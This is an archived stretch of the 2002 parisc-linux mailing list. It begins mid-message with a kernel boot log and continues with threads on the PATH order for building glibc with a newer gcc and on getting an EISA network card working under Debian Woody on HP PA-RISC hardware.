Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI 
enttyS00 at iomem 0xf0823800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0822800 (irq = 89) is a 16550A
Found HIL at 0xf0821000, IRQ 94
HIL: no keyboard present.
Warning : device (10, 0x9, 0x0, 0x73) NOT claimed by HIL
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=16
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
SCSI subsystem driver Revision: 1.00
53c700: consistent memory allocation failed
53c700: Version 2.6 By James.Bottomley@HansenPartnership.com
scsi0: 53c700 rev 0
scsi0 : LASI SCSI 53c700
  Vendor: SONY      Model: CD-ROM CDU-76S    Rev: 1.1c
  Type:   CD-ROM                             ANSI SCSI revision: 02
  Vendor: QUANTUM   Model: FIREBALL1050S     Rev: 630C
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: MICROP    Model: 2112              Rev: 4024
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 5, lun 0
Attached scsi disk sdb at scsi0, channel 0, id 6, lun 0
SCSI device sda: 2051460 512-byte hdwr sectors (1050 MB)
Partition check:
 sda: sda1 sda2
SCSI device sdb: 2051460 512-byte hdwr sectors (1050 MB)
 sdb: sdb1 sdb2
Attached scsi CD-ROM sr0 at scsi0, channel 0, id 3, lun 0
sr0: scsi-1 drive
Uniform CD-ROM driver Revision: 3.12
sticonsole_init: searching for STI ROMs
BUG: Skipping previously registered driver: sti (native)
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 2048 buckets, 16Kbytes
TCP: Hash tables configured (established 16384 bind 32768)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
INIT: version 2.84 booting
Activating swap.
Adding Swap: 124768k swap-space (priority -1)
Checking root file system...
fsck 1.25 (20-Sep-2001)
/dev/sdb2 was not cleanly unmounted, check forced.
/dev/sdb2: |=====                                                   |  8.8%   
/dSystem time was Fri Apr  5 13:29:19 UTC 2002.
Setting the System Clock using the Hardware Clock as reference...
System Clock set. System local time is now Fri Apr  5 13:28:53 UTC 2002.
Calculating module dependencies... done.
Loading modules: tun Universal TUN/TAP device driver 1.4 (C)1999-2001 Maxim 
Krasppp_async CSLIP: code copyright 1989 Regents of the University of 
California
PPP generic driver version 2.4.1
ppp_deflate PPP Deflate Compression module registered
ppp_synctty sk98lin sk98lin: Network Device Driver v4.06
Copyright (C) 2000-2001 SysKonnect GmbH.

Checking all file systems...
fsck 1.25 (20-Sep-2001)
Setting kernel variables.
Mounting local filesystems...
nothing was mounted
Running 0dns-down to make sure resolv.conf is ok...chmod: getting attributes 
of
done.
Setting up IP spoofing protection: rp_filter.
Configuring network interfaces: done.

Setting the System Clock using the Hardware Clock as reference...
System Clock set. Local time: Fri Apr  5 13:29:08 UTC 2002

Cleaning: /tmp /var/lock /var/run.
Initializing random number generator... done.
Recovering nvi editor sessions... done.
INIT: Entering runlevel: 2
Starting system log daemon: syslogd.
Starting kernel log daemon: klogd.
Starting internet superserver: inetd.
Starting deferred execution scheduler: atd.
Starting periodic command scheduler: cron.
Configuring the base system...

Using CD-ROM mount point /cdrom/
Identifying.. [6b8fd7bcb09f2b771ad6347a17d7a170-2]
Scanning Disc for index files..  Found 2 package indexes and 0 source indexes.
Found label 'Debian GNU/Linux 3.0 prerelease _Woody_ - Unofficial hppa 
Binary-1
This Disc is called:
 'Debian GNU/Linux 3.0 prerelease _Woody_ - Unofficial hppa Binary-1 
(20011205)'Reading Package Indexes... 0%Reading Package Indexes... 1%Reading 
Package IndexeWrote 581 records.
Writing new source list
Source List entries for this Disc are:
deb cdrom:[Debian GNU/Linux 3.0 prerelease _Woody_ - Unofficial hppa Binary-1 
(2Repeat this process for the rest of the CDs in your set.

- -- 
Hannes Wenzel                    E-mail: h.wenzel@delphi.at
DELPHI Software GesmbH           Web: http://www.delphi.at/
Consulting & IT-Services
Vivenotgasse 48
A-1120 Wien, Austria
____________________________________________________________________

Key fingerprint = 33A2 A4F8 E6B9 C83F 65EF  7FD9 A6C2 3EDF DD3B 2E59
____________________________________________________________________
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE8tuKXpsI+3907LlkRAiS6AKCPISd49rpx64Fo8X08PjKFz7Fw7gCfQRUg
0v8aiVKkjKnWfZ/rjJEV30s=
=3T+o
-----END PGP SIGNATURE-----



From - Thu Nov 08 21:22:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GCC support for dwarf2
Date: Fri, 12 Apr 2002 12:14:23 -0400 (EDT)
Lines: 41
Approved: news@gmane.org
Message-ID: <200204121614.g3CGENMn003726@hiauly1.hia.nrc.ca>
References: <1018612168.3cb6c9c8a9afc@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621233 6216 80.91.229.3 (22 Nov 2014 01:53:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 12 10:14:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 20E5F482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Apr 2002 10:14:27 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g3CGEOFN003727;
	Fri, 12 Apr 2002 12:14:24 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g3CGENMn003726;
	Fri, 12 Apr 2002 12:14:23 -0400 (EDT)
In-Reply-To: <1018612168.3cb6c9c8a9afc@webmail.tiscalinet.be> from "joel.soete@freebel.net" at Apr 12, 2002 01:49:28 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14578

> Here am I with something confusing me about glibc building.
> 
> In the Carlos O'Donell recipe
> (http://www.parisc-linux.org/toolchain/PA-Linux-XC-HOWTO-04.html)
> 
> It is set "export PATH=$PATH:$DEST/bin"
> So at configure step it was selected gcc-3.0.4 (the last release for hppa-linux box)
> 
> Naturally if I put "export PATH=$DEST/bin:$PATH", the configure of glibc select
> (for me well) gcc-3.2.
> 
> What is the right way? (for me the second)

Here is the script that I use to build glibc.  This installs to the same
prefix that I use for gcc and binutils.

#!/bin/sh
# /bin/sh must be bash!
export PATH=/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games:/home/dave/opt/
gnu/bin
unset LD_RUN_PATH
unset LD_LIBRARY_PATH
export CC=/home/dave/opt/gnu/bin/gcc
export CFLAGS="-O2 -g"
../glibc/configure --build=hppa-linux --host=hppa-linux --target=hppa-linux --pr
efix=/home/dave/opt/gnu --disable-profile --without-cvs --enable-add-ons --enabl
e-hacker-mode &&
make &&
make install

I tried to ensure that I am using the system tools for the build and install
except for the compiler which I specify with CC.  The compiler was built with
--with-gnu-as and --with-gnu-ld, so it knows where to find its tools
independent of the PATH setting.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GCC support for dwarf2
Date: Fri, 12 Apr 2002 18:37:56 +0200 (CEST)
Lines: 68
Approved: news@gmane.org
Message-ID: <1018629476.3cb70d64cc27e@webmail.tiscalinet.be>
References: <200204121614.g3CGENMn003726@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621233 6218 80.91.229.3 (22 Nov 2014 01:53:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:53 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 12 10:38:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF58A482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Apr 2002 10:38:43 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16w43k-0007wP-00; Fri, 12 Apr 2002 18:38:00 +0200
In-Reply-To: <200204121614.g3CGENMn003726@hiauly1.hia.nrc.ca>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14579

Dave,

It confirms my first idea. (I also just find back:
http://mkhppa1.esiee.fr/archive/script_toolchain).

Thanks a lot,
    Joel

PS: I will send a mail to Carlos to report him this small bug and some update

Quoting John David Anglin <dave@hiauly1.hia.nrc.ca>:

> > Here am I with something confusing me about glibc building.
> > 
> > In the Carlos O'Donell recipe
> > (http://www.parisc-linux.org/toolchain/PA-Linux-XC-HOWTO-04.html)
> > 
> > It is set "export PATH=$PATH:$DEST/bin"
> > So at configure step it was selected gcc-3.0.4 (the last release for
> hppa-linux box)
> > 
> > Naturally if I put "export PATH=$DEST/bin:$PATH", the configure of
> glibc select
> > (for me well) gcc-3.2.
> > 
> > What is the right way? (for me the second)
> 
> Here is the script that I use to build glibc.  This installs to the
> same
> prefix that I use for gcc and binutils.
> 
> #!/bin/sh
> # /bin/sh must be bash!
> export
> PATH=/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games:/home/dave/opt/
> gnu/bin
> unset LD_RUN_PATH
> unset LD_LIBRARY_PATH
> export CC=/home/dave/opt/gnu/bin/gcc
> export CFLAGS="-O2 -g"
> ../glibc/configure --build=hppa-linux --host=hppa-linux
> --target=hppa-linux --pr
> efix=/home/dave/opt/gnu --disable-profile --without-cvs --enable-add-ons
> --enabl
> e-hacker-mode &&
> make &&
> make install
> 
> I tried to ensure that I am using the system tools for the build and
> install
> except for the compiler which I specify with CC.  The compiler was built
> with
> --with-gnu-as and --with-gnu-ld, so it knows where to find its tools
> independent of the PATH setting.
> 
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc.ca
> National Research Council of Canada              (613) 990-0752 (FAX:
> 952-6605)
> 
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GCC support for dwarf2
Date: Fri, 12 Apr 2002 17:44:40 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <20020412174440.A5919@systemhalted>
References: <200204111531.g3BFV5Fv000173@hiauly1.hia.nrc.ca> <1018542948.3cb5bb6a4053a@webmail.tiscalinet.be> <1018612168.3cb6c9c8a9afc@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621233 6219 80.91.229.3 (22 Nov 2014 01:53:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 12 15:43:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4C995482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Apr 2002 15:43:36 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g3CLifQ05987;
	Fri, 12 Apr 2002 17:44:41 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1018612168.3cb6c9c8a9afc@webmail.tiscalinet.be>; from joel.soete@freebel.net on Fri, Apr 12, 2002 at 01:49:28PM +0200
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14580

> Hi Dave,
> 
> Here am I with something confusing me about glibc building.
> 
> In the Carlos O'Donell recipe
> (http://www.parisc-linux.org/toolchain/PA-Linux-XC-HOWTO-04.html)
> 
> It is set "export PATH=$PATH:$DEST/bin"
> So at configure step it was selected gcc-3.0.4 (the last release for hppa-linux box)
> 
> Naturally if I put "export PATH=$DEST/bin:$PATH", the configure of glibc select
> (for me well) gcc-3.2.
> 
> What is the right way? (for me the second)
> 
> Thanks for more help,
>     Joel
>

The document describes building a cross-compiler for non-hppa->hppa. 
Where gcc would be prefaced with 'hppa-linux' and might be
the only such executable on the system. Obviously if you have multiple
toolchains on your path the order should be '$DEST/bin:$PATH'.

Happily this document also serves as a 'build the toolchain' document :)

I'll update that bit, make some spelling mistakes and email Grant.

Thank Joel!

Cheers,
Carlos.



From - Thu Nov 08 21:22:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Network card
Date: Fri, 12 Apr 2002 15:40:46 -0700
Lines: 242
Approved: news@gmane.org
Message-ID: <4.3.2.7.2.20020412153226.01e3b3a8@mira-sjc5-9.cisco.com>
References: <200204121235.g3CCZvA29052@delphi.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416621234 6223 80.91.229.3 (22 Nov 2014 01:53:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:54 +0000 (UTC)
To: Hannes Wenzel <h.wenzel@delphi.at>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 12 16:41:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 506E0482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Apr 2002 16:41:07 -0600 (MDT)
Original-Received: from mira-sjc5-9.cisco.com (IDENT:mirapoint@mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-1.cisco.com (8.12.2/8.12.2) with ESMTP id g3CMeq87003417;
	Fri, 12 Apr 2002 15:40:53 -0700 (PDT)
Original-Received: from CSUDER-W2K.cisco.com (dhcp-171-71-143-44.cisco.com [171.71.143.44])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with ESMTP id ACQ09817;
	Fri, 12 Apr 2002 15:41:04 -0700 (PDT)
X-Sender: csuder@mira-sjc5-9.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
In-Reply-To: <200204121235.g3CCZvA29052@delphi.at>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14581


Hannes,

first, you need a newer kernel, there have been a lot of changes since 
november when the 0.9.3 CD was built. You should see something like:

Mongoose EISA Adapter found at 0xfc000000
EISA EEPROM at 0xf0810400
Enumerating EISA bus
EISA slot 1 a configured board was not detected ( expected ___FFFF)

except there's no board in this machine.

then, you most likely need to build a customized kernel with support for 
the NIC you have. For that you probably have to have a look at it to 
determine what type it is.

         HTH,
         Christian

At 03:35 PM 4/12/2002 +0200, Hannes Wenzel wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>hello,
>
>I set up a Apollo Model 735/99 with parisc linux 0.9.3. Installation was ok,
>but I couldn't get the network card running. I don't know what card it is,
>only that it is an eisa card with bnc and aui interfaces.
>
>I include in that message the startup message, hoping there is any hint for
>my problem. I would be very appreciated if I hear anything.
>
>Booting from:     scsi.6.0     MICROP  2112
>
>Hard booted.
>palo ipl 0.96 root@smallone Sun Nov 11 23:23:30 UTC 2001
>
>Partition Start(MB) End(MB) Id Type
>1               1      15   f0 Palo
>2              16    1001   83 ext2
>
>PALO(F0) partition contains:
>     0/vmlinux32 3122078 bytes @ 0x48000
>
>Information: No console specified on kernel command line. This is normal.
>PALO will choose the console currently  used by firmware (serial).
>
>Command line for kernel: 'root=/dev/sdb2 HOME=/ console=ttyS0 TERM=vt102'
>Selected kernel: /boot/vmlinux from partition 2
>Opening /boot/vmlinux
>Opening /boot/vmlinux-2.4.9-32
>ELF32 executable
>Entry 00100000 first 00100000 n 6
>Segment 0 load 00100000 size 1618208 mediaptr 0x1000
>Segment 1 load 0028c000 size 287728 mediaptr 0x18d000
>Segment 2 load 002d4000 size 379072 mediaptr 0x1d4000
>Segment 3 load 00334000 size 8192 mediaptr 0x231000
>Segment 4 load 00338000 size 32768 mediaptr 0x233000
>Segment 5 load 003750e8 size 83184 mediaptr 0x23b0e8
>Branching to kernel entry point 0x00100000.  If this is the last
>message you see, you may need to switch your console.  This is
>a common symptom -- search the FAQ and mailing list at parisc-linux.org
>
>Linux version 2.4.9-32 (root@paer) (gcc version 3.0.2 (Debian)) #1 Fri Nov 30
>19FP[0] enabled: Rev 1 Model 9
>The 32-bit Kernel has started...
>Determining PDC firmware type: Snake.
>model   00002030 00000481 00000000 00000000 78137887 ffffffff 00000004
>0000000a
>vers    00000013
>CPUID   vers 0 rev 0
>model   9000/735
>Total Memory: 208 Mb
>pagetable_init
>On node 0 totalpages: 53248
>zone(0): 53248 pages.
>zone(1): 0 pages.
>zone(2): 0 pages.
>Kernel command line: root=/dev/sdb2 HOME=/ console=ttyS0 TERM=vt102
>Console: colour dummy device 160x64
>Calibrating delay loop... 98.71 BogoMIPS
>Memory: 206764k available
>Dentry-cache hash table entries: 32768 (order: 6, 262144 bytes)
>Inode-cache hash table entries: 16384 (order: 5, 131072 bytes)
>Mount-cache hash table entries: 4096 (order: 3, 32768 bytes)
>Buffer-cache hash table entries: 16384 (order: 4, 65536 bytes)
>Page-cache hash table entries: 65536 (order: 6, 262144 bytes)
>Searching for devices...
>Found devices:
>1. Outfield Core BA (11) at 0xf082f000 [2], versions 0x9, 0x0, 0x70
>2. Outfield Core SCSI (10) at 0xf0825000 [2/0/1], versions 0x9, 0x0, 0x71
>3. Outfield Core HIL (10) at 0xf0821000 [2/0/3], versions 0x9, 0x0, 0x73
>4. Outfield Core RS-232 (10) at 0xf0823000 [2/0/4], versions 0x9, 0x0, 0x75
>5. Outfield Core RS-232 (10) at 0xf0822000 [2/0/5], versions 0x9, 0x0, 0x75
>6. Outfield Core Centronics (10) at 0xf0824000 [2/0/6], versions 0x9, 0x0,
>0x74
>7. Outfield FW SCSI (10) at 0xf0830000 [2/0/7], versions 0x9, 0x0, 0x7c
>8. Outfield Audio (10) at 0xf1000000 [2/0/8], versions 0x9, 0x0, 0x7f
>9. Outfield FDDI (10) at 0xf0831000 [2/0/9], versions 0x9, 0x0, 0x7d
>10. Cobra EISA BA (11) at 0xfc000000 [4], versions 0x4, 0x0, 0x76
>11. Hardball (735/99) (0) at 0xfffbe000 [8], versions 0x203, 0x0, 0x4
>12. Hardball (1) at 0xfffbf000 [9], versions 0x19, 0x0, 0x9
>CPU(s): 1 x PA7100 (PCX-T) at 99.000000 MHz
>Cutoff version 4 at 0xf082f000 found.
>LED (ASP-style) display at f0800020 registered
>Mongoose EISA Adapter found at 0xfc000000
>POSIX conformance testing by UNIFIX
>Linux NET4.0 for Linux 2.4
>Based upon Swansea University Computer Society NET3.039
>Starting kswapd v1.8
>parport_init_chip: enhanced parport-modes not supported.
>parport0: PC-style at 0xf0824800, irq 88 [PCSPP]
>pty: 256 Unix98 ptys configured
>Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI
>enttyS00 at iomem 0xf0823800 (irq = 90) is a 16550A
>ttyS01 at iomem 0xf0822800 (irq = 89) is a 16550A
>Found HIL at 0xf0821000, IRQ 94
>HIL: no keyboard present.
>Warning : device (10, 0x9, 0x0, 0x73) NOT claimed by HIL
>lp0: using parport0 (interrupt-driven).
>Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
>block: 128 slots per queue, batch=16
>RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
>loop: loaded (max 8 devices)
>SCSI subsystem driver Revision: 1.00
>53c700: consistent memory allocation failed
>53c700: Version 2.6 By James.Bottomley@HansenPartnership.com
>scsi0: 53c700 rev 0
>scsi0 : LASI SCSI 53c700
>   Vendor: SONY      Model: CD-ROM CDU-76S    Rev: 1.1c
>   Type:   CD-ROM                             ANSI SCSI revision: 02
>   Vendor: QUANTUM   Model: FIREBALL1050S     Rev: 630C
>   Type:   Direct-Access                      ANSI SCSI revision: 02
>   Vendor: MICROP    Model: 2112              Rev: 4024
>   Type:   Direct-Access                      ANSI SCSI revision: 02
>Attached scsi disk sda at scsi0, channel 0, id 5, lun 0
>Attached scsi disk sdb at scsi0, channel 0, id 6, lun 0
>SCSI device sda: 2051460 512-byte hdwr sectors (1050 MB)
>Partition check:
>  sda: sda1 sda2
>SCSI device sdb: 2051460 512-byte hdwr sectors (1050 MB)
>  sdb: sdb1 sdb2
>Attached scsi CD-ROM sr0 at scsi0, channel 0, id 3, lun 0
>sr0: scsi-1 drive
>Uniform CD-ROM driver Revision: 3.12
>sticonsole_init: searching for STI ROMs
>BUG: Skipping previously registered driver: sti (native)
>md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
>md: Autodetecting RAID arrays.
>md: autorun ...
>md: ... autorun DONE.
>NET4: Linux TCP/IP 1.0 for NET4.0
>IP Protocols: ICMP, UDP, TCP
>IP: routing cache hash table of 2048 buckets, 16Kbytes
>TCP: Hash tables configured (established 16384 bind 32768)
>NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
>VFS: Mounted root (ext2 filesystem) readonly.
>INIT: version 2.84 booting
>Activating swap.
>Adding Swap: 124768k swap-space (priority -1)
>Checking root file system...
>fsck 1.25 (20-Sep-2001)
>/dev/sdb2 was not cleanly unmounted, check forced.
>/dev/sdb2: |=====                                                   |  8.8%
>/dSystem time was Fri Apr  5 13:29:19 UTC 2002.
>Setting the System Clock using the Hardware Clock as reference...
>System Clock set. System local time is now Fri Apr  5 13:28:53 UTC 2002.
>Calculating module dependencies... done.
>Loading modules: tun Universal TUN/TAP device driver 1.4 (C)1999-2001 Maxim
>Krasppp_async CSLIP: code copyright 1989 Regents of the University of
>California
>PPP generic driver version 2.4.1
>ppp_deflate PPP Deflate Compression module registered
>ppp_synctty sk98lin sk98lin: Network Device Driver v4.06
>Copyright (C) 2000-2001 SysKonnect GmbH.
>
>Checking all file systems...
>fsck 1.25 (20-Sep-2001)
>Setting kernel variables.
>Mounting local filesystems...
>nothing was mounted
>Running 0dns-down to make sure resolv.conf is ok...chmod: getting attributes
>of
>done.
>Setting up IP spoofing protection: rp_filter.
>Configuring network interfaces: done.
>
>Setting the System Clock using the Hardware Clock as reference...
>System Clock set. Local time: Fri Apr  5 13:29:08 UTC 2002
>
>Cleaning: /tmp /var/lock /var/run.
>Initializing random number generator... done.
>Recovering nvi editor sessions... done.
>INIT: Entering runlevel: 2
>Starting system log daemon: syslogd.
>Starting kernel log daemon: klogd.
>Starting internet superserver: inetd.
>Starting deferred execution scheduler: atd.
>Starting periodic command scheduler: cron.
>Configuring the base system...
>
>Using CD-ROM mount point /cdrom/
>Identifying.. [6b8fd7bcb09f2b771ad6347a17d7a170-2]
>Scanning Disc for index files..  Found 2 package indexes and 0 source indexes.
>Found label 'Debian GNU/Linux 3.0 prerelease _Woody_ - Unofficial hppa
>Binary-1
>This Disc is called:
>  'Debian GNU/Linux 3.0 prerelease _Woody_ - Unofficial hppa Binary-1
>(20011205)'Reading Package Indexes... 0%Reading Package Indexes... 1%Reading
>Package IndexeWrote 581 records.
>Writing new source list
>Source List entries for this Disc are:
>deb cdrom:[Debian GNU/Linux 3.0 prerelease _Woody_ - Unofficial hppa Binary-1
>(2Repeat this process for the rest of the CDs in your set.
>
>- --
>Hannes Wenzel                    E-mail: h.wenzel@delphi.at
>DELPHI Software GesmbH           Web: http://www.delphi.at/
>Consulting & IT-Services
>Vivenotgasse 48
>A-1120 Wien, Austria
>____________________________________________________________________
>
>Key fingerprint = 33A2 A4F8 E6B9 C83F 65EF  7FD9 A6C2 3EDF DD3B 2E59
>____________________________________________________________________
>-----BEGIN PGP SIGNATURE-----
